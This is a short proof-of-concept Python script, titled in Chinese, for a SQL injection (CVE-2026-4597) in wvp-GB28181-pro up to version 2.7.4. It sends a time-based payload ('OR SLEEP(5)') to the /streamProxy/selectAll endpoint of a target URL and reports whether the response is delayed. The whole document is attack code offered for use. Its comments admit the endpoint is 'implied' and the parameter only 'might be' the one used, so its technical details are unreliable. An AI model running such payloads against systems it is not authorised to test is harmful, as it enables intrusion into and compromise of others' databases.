CVE-2026-4597 wvp-GB28181-pro SQL注入漏洞

# PoC for CVE-2026-4597 (SQL Injection) # Target: wvp-GB28181-pro <= 2.7.4 # Endpoint: /streamProxy/selectAll (implied from StreamProxyProvider.java) import requests def check_sqli(url): # Vulnerable parameter might be 'name', 'app', or similar based on context # Payload to test for time-based or boolean-based SQL injection payload = "?name=test' OR SLEEP(5)-- -" full_url = f"{url}/streamProxy/selectAll{payload}" try: print(f"Sending request to: {full_url}") response = requests.get(full_url, timeout=10) # Check if response time indicates SQL execution (Time-based) if response.elapsed.total_seconds() > 5: print("[+] Potential SQL Injection vulnerability confirmed (Time-based delay)!") else: print("[-] No immediate delay detected, further manual analysis recommended.") except requests.RequestException as e: print(f"Error connecting to target: {e}") if __name__ == "__main__": target = "http://127.0.0.1:8080" # Replace with actual target check_sqli(target)